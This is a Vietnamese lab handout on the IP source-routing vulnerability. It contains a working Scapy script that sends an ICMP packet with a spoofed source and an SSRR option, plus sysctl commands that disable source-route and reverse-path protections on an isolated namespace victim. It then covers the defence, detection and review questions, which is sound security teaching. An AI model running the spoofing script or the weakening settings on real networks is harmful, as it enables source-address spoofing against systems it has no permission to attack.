BÀI THỰC HÀNH 02

Lỗ hổng bảo mật loại Source Routing

IP Source Routing (LSRR/SSRR) Vulnerability

Thời lượng	
Mức độ	Trung bình
Môi trường	1 VM Kali Linux · ip netns + veth
Công cụ	Scapy (IPOption_SSRR/LSRR), tcpdump

⚠ Bài thực hành chỉ được thực hiện trong môi trường phòng lab cô lập (máy ảo + network namespace trên chính máy của bạn). Mọi kỹ thuật ở đây thuộc nhóm tấn công mạng; việc áp dụng lên hệ thống/mạng không thuộc quyền sở hữu hoặc không được cho phép bằng văn bản là VI PHẠM PHÁP LUẬT (Luật An ninh mạng 2018 — Luật số 24/2018/QH14, và Bộ luật Hình sự). Mục tiêu học tập là hiểu cơ chế để phòng thủ (defensive security).

Mục tiêu bài học

- Hiểu tùy chọn IP **Source Routing** (LSRR — Loose, SSRR — Strict) trong header IP (RFC 791).
- Thấy nguy cơ: kẻ tấn công **giả mạo địa chỉ nguồn** nhưng vẫn **nhận được phản hồi** nhờ ép đường đi ngược.
- Tái tạo điều kiện dễ bị tấn công bằng `accept_source_route=1` rồi quan sát; sau đó bật phòng thủ và so sánh.

Kiến thức nền tối thiểu

- Tùy chọn source routing cho phép **bên gửi** chỉ định đường đi của gói — vi phạm nguyên tắc định tuyến do mạng quyết định.
- Khi host nhận một gói source-routed, nó **đảo ngược** lộ trình để gửi phản hồi ⇒attacker có thể vừa giả mạo nguồn vừa hứng được trả lời.
- Linux hiện đại đặt `net.ipv4.conf.*.accept_source_route = 0` theo mặc định và hầu hết router loại bỏ gói có tùy chọn này.

1. Chuẩn bị môi trường

▸ setup_pair.sh — h1 = attacker (.1), h2 = victim (.2)

```
#!/bin/bash
# setup_pair.sh - Dung 2 namespace (h1, h2) noi voi nhau qua mot lien ket veth
set -e
ip netns add h1
ip netns add h2
ip link add veth1 type veth peer name veth2
ip link set veth1 netns h1
ip link set veth2 netns h2
ip netns exec h1 ip addr add 10.0.0.1/24 dev veth1
ip netns exec h2 ip addr add 10.0.0.2/24 dev veth2
ip netns exec h1 ip link set veth1 up
ip netns exec h2 ip link set veth2 up
ip netns exec h1 ip link set lo up
ip netns exec h2 ip link set lo up
echo "[+] Topo san sang. Kiem tra ket noi:"
ip netns exec h1 ping -c2 10.0.0.2
```

Tái tạo điều kiện dễ bị tấn công trên **victim (h2)** — chấp nhận source routing, tắt reverse-path filter:

```
for k in all veth2; do
  ip netns exec h2 sysctl -w net.ipv4.conf.$k.accept_source_route=1
  ip netns exec h2 sysctl -w net.ipv4.conf.$k.rp_filter=0
done
# Attacker cung chap nhan goi source-routed de nhan phan hoi
for k in all veth1; do
  ip netns exec h1 sysctl -w net.ipv4.conf.$k.accept_source_route=1
  ip netns exec h1 sysctl -w net.ipv4.conf.$k.rp_filter=0
done
```

2. Các bước thực hành

Bước 2.1 — Giả mạo nguồn + SSRR ép đường về attacker

Attacker gửi ICMP echo với **nguồn giả mạo 10.0.0.77**, nhưng dùng tùy chọn SSRR ghi lộ trình quay về **10.0.0.1 (chính attacker)**. Nếu victim chấp nhận source routing, nó sẽ đảo lộ trình và gửi phản hồi về .1.

```
cat > /tmp/ssrr.py <<'EOF'
from scapy.all import *
pkt = IP(src="10.0.0.77", dst="10.0.0.2",
         options=[IPOption_SSRR(routers=["10.0.0.1", "10.0.0.2"])]) \
      /ICMP(id=0x4242)/b"src-routed-probe"
send(pkt, verbose=0)
print("Da gui ICMP echo co tuy chon SSRR, nguon GIA MAO = 10.0.0.77")
EOF
```

Mở terminal quan sát trên attacker (bắt gói ICMP về .1) rồi chạy tấn công:

```
# Terminal 1 (attacker quan sat):
ip netns exec h1 tcpdump -i veth1 -nn -v icmp
# Terminal 2 (attacker tan cong):
ip netns exec h1 python3 /tmp/ssrr.py
```

✓**Kết quả mong đợi:** Terminal quan sát của attacker thấy gói echo-reply quay về 10.0.0.1 — dù gói gửi đi mang nguồn giả .77. Victim đã đảo ngược lộ trình SSRR. Đây là lý do source routing nguy hiểm: cho phép spoofing hai chiều.

Bước 2.2 — Bật phòng thủ và kiểm chứng

```
for k in all veth2; do
  ip netns exec h2 sysctl -w net.ipv4.conf.$k.accept_source_route=0
done
# Chay lai: ip netns exec h1 python3 /tmp/ssrr.py
```

✓**Kết quả mong đợi:** Sau khi đặt accept_source_route=0, victim loại bỏ gói source-routed ⇒attacker không còn nhận được phản hồi. Đây là cấu hình mặc định an toàn của hệ thống hiện đại.

Bước 2.3 — Phát hiện gói có tùy chọn IP

Gói mang IP options có IHL > 5. Lọc nhanh bằng tcpdump:

```
ip netns exec h2 tcpdump -i veth2 -nn -v 'ip[0] & 0x0f > 5'
```

Phòng chống (Mitigation)

- Đặt `net.ipv4.conf.all.accept_source_route = 0` trên mọi host (mặc định trên Linux hiện đại).
- Cấu hình router/firewall loại bỏ gói mang LSRR/SSRR (`no ip source-route`).
- Bật reverse-path filtering (`rp_filter = 1`) để chống địa chỉ nguồn giả mạo.
- Tham chiếu RFC 7126 về khuyến nghị lọc IP options tại biên mạng.

Câu hỏi ôn tập

1. Phân biệt Loose (LSRR) và Strict (SSRR) source routing. Trường IHL thay đổi thế nào khi có tùy chọn này?
2. Vì sao source routing phá vỡ hiệu quả của reverse-path filtering trong việc chống giả mạo nguồn?
3. Trong Bước 2.1, nếu không có SSRR, phản hồi của victim sẽ đi về đâu? Vì sao attacker không nhận được?
4. Nêu hai nơi nên lọc gói source-routed và giải thích vì sao lọc ở biên mạng (edge) là quan trọng nhất.

Tài liệu tham khảo

- RFC 791 — Internet Protocol (IP Options).
- RFC 7126 — Filtering of IP-Optioned Packets.
- CERT advisories về IP source routing spoofing.